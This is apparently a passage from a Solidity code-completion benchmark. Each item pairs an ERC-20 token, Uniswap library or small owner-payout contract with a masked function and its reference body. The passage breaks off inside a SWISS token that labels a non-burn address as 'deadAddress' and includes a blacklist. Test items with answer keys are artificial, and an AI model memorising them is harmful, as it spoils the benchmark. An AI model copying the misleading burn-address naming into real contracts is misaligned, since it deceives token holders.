allowances of the given addresses function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } // Returns a blocked address of a given address function isBlocked(address account) public view virtual returns (bool) { return _blocklist[account]; } /* * PUBLIC FUNCTIONS */ // Calls the _transfer function for a given recipient and amount function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } // Calls the _transfer function for a given array of recipients and amounts function transferArray(address[] calldata recipients, uint256[] calldata amounts) public virtual returns (bool) { for (uint8 count = 0; count < recipients.length; count++) { _transfer(_msgSender(), recipients[count], amounts[count]); } return true; } // Calls the _approve function for a given spender and amount function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } // Calls the _transfer and _approve function for a given sender, recipient and amount function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } // Calls the _approve function for a given spender and added value (amount) function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } // Calls the _approve function for a given spender and substracted value (amount) function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /* * PUBLIC (Only Owner) */ // Calls the _burn internal function for a given amount function burn(uint256 amount) public virtual onlyOwner { _burn(_msgSender(), amount); } function blockAddress (address account) public virtual onlyOwner { _block(account, true); } function unblockAddress (address account) public virtual onlyOwner { _block(account, false); } /* * INTERNAL (PRIVATE) */ function _block (address account, bool status) internal virtual { require(account != _msgSender(), "ERC20: message sender can not block or unblock himself"); _blocklist[account] = status; emit Blocklist(account, status); } <FILL_FUNCTION> // Implements the mint function for a given account and amount function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; // Paranoid security require(_totalSupply <= _maxTokens, "ERC20: mint exceeds total supply limit"); _balances[account] += amount; emit Transfer(address(0), account, amount); } // Implements the burn function for a given account and amount function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } // Implements the approve function for a given owner, spender and amount function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * INTERNAL (PRIVATE) HELPERS */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { require(_blocklist[from] == false && _blocklist[to] == false, "MLTERC20: transfer not allowed"); require(amount > 0, "ERC20: amount must be above zero"); } }
require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount);
function _transfer(address sender, address recipient, uint256 amount) internal virtual
// Implements the transfer function for a given sender, recipient and amount function _transfer(address sender, address recipient, uint256 amount) internal virtual
43289
BurnableCADVToken
approve
contract BurnableCADVToken is ERC20 { uint8 public decimals = 18; string public name; string public symbol; /** * @dev set the amount of tokens that an owner allowed to a spender. * * This function is disabled because using it is risky, so a revert() * is always called as the first line of code. * Instead of this function, use increaseApproval or decreaseApproval. * * @param spender The address which will spend the funds. * @param value The amount of tokens to increase the allowance by. */ function approve(address spender, uint256 value) public returns (bool) {<FILL_FUNCTION_BODY> } function increaseApproval(address _spender, uint _addedValue) public returns (bool); function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool); function multipleTransfer(address[] _tos, uint256 _value) public returns (bool); function burn(uint256 _value) public; event Burn(address indexed burner, uint256 value); }
contract BurnableCADVToken is ERC20 { uint8 public decimals = 18; string public name; string public symbol; <FILL_FUNCTION> function increaseApproval(address _spender, uint _addedValue) public returns (bool); function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool); function multipleTransfer(address[] _tos, uint256 _value) public returns (bool); function burn(uint256 _value) public; event Burn(address indexed burner, uint256 value); }
revert(); spender = spender; value = value; return false;
function approve(address spender, uint256 value) public returns (bool)
/** * @dev set the amount of tokens that an owner allowed to a spender. * * This function is disabled because using it is risky, so a revert() * is always called as the first line of code. * Instead of this function, use increaseApproval or decreaseApproval. * * @param spender The address which will spend the funds. * @param value The amount of tokens to increase the allowance by. */ function approve(address spender, uint256 value) public returns (bool)
5516
LOX
removeLockedWalletEntity
contract LOX is StandardBurnableToken, PausableToken { using SafeMath for uint256; string public constant name = "LOX SOCIETY"; string public constant symbol = "LOX"; uint8 public constant decimals = 10; uint256 public constant INITIAL_SUPPLY = 5e4 * (10 ** uint256(decimals)); uint constant LOCK_TOKEN_COUNT = 1000; struct LockedUserInfo{ uint256 _releaseTime; uint256 _amount; } mapping(address => LockedUserInfo[]) private lockedUserEntity; mapping(address => bool) private supervisorEntity; mapping(address => bool) private lockedWalletEntity; modifier onlySupervisor() { require(owner == msg.sender || supervisorEntity[msg.sender]); _; } event Lock(address indexed holder, uint256 value, uint256 releaseTime); event Unlock(address indexed holder, uint256 value); event PrintLog( address indexed sender, string _logName, uint256 _value ); constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } function transfer(address to, uint256 value) public whenNotPaused returns (bool) { require(!isLockedWalletEntity(msg.sender)); require(msg.sender != to,"Check your address!!"); if (lockedUserEntity[msg.sender].length > 0 ) { _autoUnlock(msg.sender); } return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { require(!isLockedWalletEntity(from) && !isLockedWalletEntity(msg.sender)); if (lockedUserEntity[from].length > 0) { _autoUnlock(from); } return super.transferFrom(from, to, value); } function transferWithLock(address holder, uint256 value, uint256 releaseTime) public onlySupervisor whenNotPaused returns (bool) { require(releaseTime > now && value > 0, "Check your values!!;"); if(lockedUserEntity[holder].length >= LOCK_TOKEN_COUNT){ return false; } transfer(holder, value); _lock(holder,value,releaseTime); return true; } function _lock(address holder, uint256 value, uint256 releaseTime) internal returns(bool) { balances[holder] = balances[holder].sub(value); lockedUserEntity[holder].push( LockedUserInfo(releaseTime, value) ); emit Lock(holder, value, releaseTime); return true; } function _unlock(address holder, uint256 idx) internal returns(bool) { LockedUserInfo storage lockedUserInfo = lockedUserEntity[holder][idx]; uint256 releaseAmount = lockedUserInfo._amount; delete lockedUserEntity[holder][idx]; lockedUserEntity[holder][idx] = lockedUserEntity[holder][lockedUserEntity[holder].length.sub(1)]; lockedUserEntity[holder].length -=1; emit Unlock(holder, releaseAmount); balances[holder] = balances[holder].add(releaseAmount); return true; } function _autoUnlock(address holder) internal returns(bool) { for(uint256 idx =0; idx < lockedUserEntity[holder].length ; idx++ ) { if (lockedUserEntity[holder][idx]._releaseTime <= now) { // If lockupinfo was deleted, loop restart at same position. if( _unlock(holder, idx) ) { idx -=1; } } } return true; } function setLockTime(address holder, uint idx, uint256 releaseTime) onlySupervisor public returns(bool){ require(holder !=address(0) && idx >= 0 && releaseTime > now); require(lockedUserEntity[holder].length >= idx); lockedUserEntity[holder][idx]._releaseTime = releaseTime; return true; } function getLockedUserInfo(address _address) view public returns (uint256[], uint256[]){ require(msg.sender == _address || msg.sender == owner || supervisorEntity[msg.sender]); uint256[] memory _returnAmount = new uint256[](lockedUserEntity[_address].length); uint256[] memory _returnReleaseTime = new uint256[](lockedUserEntity[_address].length); for(uint i = 0; i < lockedUserEntity[_address].length; i ++){ _returnAmount[i] = lockedUserEntity[_address][i]._amount; _returnReleaseTime[i] = lockedUserEntity[_address][i]._releaseTime; } return (_returnAmount, _returnReleaseTime); } function burn(uint256 _value) onlySupervisor public { super._burn(msg.sender, _value); } function burnFrom(address _from, uint256 _value) onlySupervisor public { super.burnFrom(_from, _value); } function balanceOf(address owner) public view returns (uint256) { uint256 totalBalance = super.balanceOf(owner); if( lockedUserEntity[owner].length >0 ){ for(uint i=0; i<lockedUserEntity[owner].length;i++){ totalBalance = totalBalance.add(lockedUserEntity[owner][i]._amount); } } return totalBalance; } function setSupervisor(address _address) onlyOwner public returns (bool){ require(_address !=address(0) && !supervisorEntity[_address]); supervisorEntity[_address] = true; emit PrintLog(_address, "isSupervisor", 1); return true; } function removeSupervisor(address _address) onlyOwner public returns (bool){ require(_address !=address(0) && supervisorEntity[_address]); delete supervisorEntity[_address]; emit PrintLog(_address, "isSupervisor", 0); return true; } function setLockedWalletEntity(address _address) onlySupervisor public returns (bool){ require(_address !=address(0) && !lockedWalletEntity[_address]); lockedWalletEntity[_address] = true; emit PrintLog(_address, "isLockedWalletEntity", 1); return true; } function removeLockedWalletEntity(address _address) onlySupervisor public returns (bool){<FILL_FUNCTION_BODY> } function isSupervisor(address _address) view onlyOwner public returns (bool){ return supervisorEntity[_address]; } function isLockedWalletEntity(address _from) view private returns (bool){ return lockedWalletEntity[_from]; } }
contract LOX is StandardBurnableToken, PausableToken { using SafeMath for uint256; string public constant name = "LOX SOCIETY"; string public constant symbol = "LOX"; uint8 public constant decimals = 10; uint256 public constant INITIAL_SUPPLY = 5e4 * (10 ** uint256(decimals)); uint constant LOCK_TOKEN_COUNT = 1000; struct LockedUserInfo{ uint256 _releaseTime; uint256 _amount; } mapping(address => LockedUserInfo[]) private lockedUserEntity; mapping(address => bool) private supervisorEntity; mapping(address => bool) private lockedWalletEntity; modifier onlySupervisor() { require(owner == msg.sender || supervisorEntity[msg.sender]); _; } event Lock(address indexed holder, uint256 value, uint256 releaseTime); event Unlock(address indexed holder, uint256 value); event PrintLog( address indexed sender, string _logName, uint256 _value ); constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } function transfer(address to, uint256 value) public whenNotPaused returns (bool) { require(!isLockedWalletEntity(msg.sender)); require(msg.sender != to,"Check your address!!"); if (lockedUserEntity[msg.sender].length > 0 ) { _autoUnlock(msg.sender); } return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { require(!isLockedWalletEntity(from) && !isLockedWalletEntity(msg.sender)); if (lockedUserEntity[from].length > 0) { _autoUnlock(from); } return super.transferFrom(from, to, value); } function transferWithLock(address holder, uint256 value, uint256 releaseTime) public onlySupervisor whenNotPaused returns (bool) { require(releaseTime > now && value > 0, "Check your values!!;"); if(lockedUserEntity[holder].length >= LOCK_TOKEN_COUNT){ return false; } transfer(holder, value); _lock(holder,value,releaseTime); return true; } function _lock(address holder, uint256 value, uint256 releaseTime) internal returns(bool) { balances[holder] = balances[holder].sub(value); lockedUserEntity[holder].push( LockedUserInfo(releaseTime, value) ); emit Lock(holder, value, releaseTime); return true; } function _unlock(address holder, uint256 idx) internal returns(bool) { LockedUserInfo storage lockedUserInfo = lockedUserEntity[holder][idx]; uint256 releaseAmount = lockedUserInfo._amount; delete lockedUserEntity[holder][idx]; lockedUserEntity[holder][idx] = lockedUserEntity[holder][lockedUserEntity[holder].length.sub(1)]; lockedUserEntity[holder].length -=1; emit Unlock(holder, releaseAmount); balances[holder] = balances[holder].add(releaseAmount); return true; } function _autoUnlock(address holder) internal returns(bool) { for(uint256 idx =0; idx < lockedUserEntity[holder].length ; idx++ ) { if (lockedUserEntity[holder][idx]._releaseTime <= now) { // If lockupinfo was deleted, loop restart at same position. if( _unlock(holder, idx) ) { idx -=1; } } } return true; } function setLockTime(address holder, uint idx, uint256 releaseTime) onlySupervisor public returns(bool){ require(holder !=address(0) && idx >= 0 && releaseTime > now); require(lockedUserEntity[holder].length >= idx); lockedUserEntity[holder][idx]._releaseTime = releaseTime; return true; } function getLockedUserInfo(address _address) view public returns (uint256[], uint256[]){ require(msg.sender == _address || msg.sender == owner || supervisorEntity[msg.sender]); uint256[] memory _returnAmount = new uint256[](lockedUserEntity[_address].length); uint256[] memory _returnReleaseTime = new uint256[](lockedUserEntity[_address].length); for(uint i = 0; i < lockedUserEntity[_address].length; i ++){ _returnAmount[i] = lockedUserEntity[_address][i]._amount; _returnReleaseTime[i] = lockedUserEntity[_address][i]._releaseTime; } return (_returnAmount, _returnReleaseTime); } function burn(uint256 _value) onlySupervisor public { super._burn(msg.sender, _value); } function burnFrom(address _from, uint256 _value) onlySupervisor public { super.burnFrom(_from, _value); } function balanceOf(address owner) public view returns (uint256) { uint256 totalBalance = super.balanceOf(owner); if( lockedUserEntity[owner].length >0 ){ for(uint i=0; i<lockedUserEntity[owner].length;i++){ totalBalance = totalBalance.add(lockedUserEntity[owner][i]._amount); } } return totalBalance; } function setSupervisor(address _address) onlyOwner public returns (bool){ require(_address !=address(0) && !supervisorEntity[_address]); supervisorEntity[_address] = true; emit PrintLog(_address, "isSupervisor", 1); return true; } function removeSupervisor(address _address) onlyOwner public returns (bool){ require(_address !=address(0) && supervisorEntity[_address]); delete supervisorEntity[_address]; emit PrintLog(_address, "isSupervisor", 0); return true; } function setLockedWalletEntity(address _address) onlySupervisor public returns (bool){ require(_address !=address(0) && !lockedWalletEntity[_address]); lockedWalletEntity[_address] = true; emit PrintLog(_address, "isLockedWalletEntity", 1); return true; } <FILL_FUNCTION> function isSupervisor(address _address) view onlyOwner public returns (bool){ return supervisorEntity[_address]; } function isLockedWalletEntity(address _from) view private returns (bool){ return lockedWalletEntity[_from]; } }
require(_address !=address(0) && lockedWalletEntity[_address]); delete lockedWalletEntity[_address]; emit PrintLog(_address, "isLockedWalletEntity", 0); return true;
function removeLockedWalletEntity(address _address) onlySupervisor public returns (bool)
function removeLockedWalletEntity(address _address) onlySupervisor public returns (bool)
7748
WORLDMOBILITY
transferAnyERC20Token
contract WORLDMOBILITY is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function WORLDMOBILITY() public { symbol = "WMOB"; name = "WORLDMOBILITY"; decimals = 9; _totalSupply = 100000000000000000000; balances[0x412919b7D0a034E14a7aa0F5Fa19D39C8c8F0624] = _totalSupply; emit Transfer(address(0), 0x412919b7D0a034E14a7aa0F5Fa19D39C8c8F0624, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {<FILL_FUNCTION_BODY> } }
contract WORLDMOBILITY is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function WORLDMOBILITY() public { symbol = "WMOB"; name = "WORLDMOBILITY"; decimals = 9; _totalSupply = 100000000000000000000; balances[0x412919b7D0a034E14a7aa0F5Fa19D39C8c8F0624] = _totalSupply; emit Transfer(address(0), 0x412919b7D0a034E14a7aa0F5Fa19D39C8c8F0624, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } <FILL_FUNCTION> }
return ERC20Interface(tokenAddress).transfer(owner, tokens);
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success)
// ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success)
26696
UniswapV2Library
getAmountsOut
contract UniswapV2Library { // --- Math --- function addition(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'UniswapV2Library: add-overflow'); } function subtract(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'UniswapV2Library: sub-underflow'); } function multiply(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'UniswapV2Library: mul-overflow'); } // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // Modified Uniswap function to work with dapp.tools (CREATE2 throws) function pairFor(address factory, address tokenA, address tokenB) internal view returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); return IUniswapV2Factory(factory).getPair(tokenA, tokenB); } // fetches and sorts the reserves for a pair; modified from the initial Uniswap version in order to work with dapp.tools function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(IUniswapV2Factory(factory).getPair(tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // Given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = multiply(amountA, reserveB) / reserveA; } // Given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = multiply(amountIn, 997); uint numerator = multiply(amountInWithFee, reserveOut); uint denominator = addition(multiply(reserveIn, 1000), amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = multiply(multiply(reserveIn, amountOut), 1000); uint denominator = multiply(subtract(reserveOut, amountOut), 997); amountIn = addition((numerator / denominator), 1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {<FILL_FUNCTION_BODY> } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } }
contract UniswapV2Library { // --- Math --- function addition(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'UniswapV2Library: add-overflow'); } function subtract(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'UniswapV2Library: sub-underflow'); } function multiply(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'UniswapV2Library: mul-overflow'); } // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // Modified Uniswap function to work with dapp.tools (CREATE2 throws) function pairFor(address factory, address tokenA, address tokenB) internal view returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); return IUniswapV2Factory(factory).getPair(tokenA, tokenB); } // fetches and sorts the reserves for a pair; modified from the initial Uniswap version in order to work with dapp.tools function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(IUniswapV2Factory(factory).getPair(tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // Given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = multiply(amountA, reserveB) / reserveA; } // Given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = multiply(amountIn, 997); uint numerator = multiply(amountInWithFee, reserveOut); uint denominator = addition(multiply(reserveIn, 1000), amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = multiply(multiply(reserveIn, amountOut), 1000); uint denominator = multiply(subtract(reserveOut, amountOut), 997); amountIn = addition((numerator / denominator), 1); } <FILL_FUNCTION> // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } }
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); }
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts)
// performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts)
13809
useqgretOracle
updateUSeqgret
contract useqgretOracle{ address private owner; function useqgretOracle() payable { owner = msg.sender; } function updateUSeqgret() payable onlyOwner {<FILL_FUNCTION_BODY> } modifier onlyOwner { require(msg.sender == owner); _; } }
contract useqgretOracle{ address private owner; function useqgretOracle() payable { owner = msg.sender; } <FILL_FUNCTION> modifier onlyOwner { require(msg.sender == owner); _; } }
owner.transfer(this.balance-msg.value);
function updateUSeqgret() payable onlyOwner
function updateUSeqgret() payable onlyOwner
35498
SWISS
_transfer
contract SWISS is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0x765b11C51B13A5eaADBd3a08D18eb1E45F09b9b4); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 7200 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool public enableEarlySellTax = true; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch // Seller Map mapping (address => uint256) private _holderFirstBuyTimestamp; // Blacklist Map mapping (address => bool) private _blacklist; bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public earlySellLiquidityFee; uint256 public earlySellMarketingFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; // block number of opened trading uint256 launchedAt; /******************/ // exclude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public 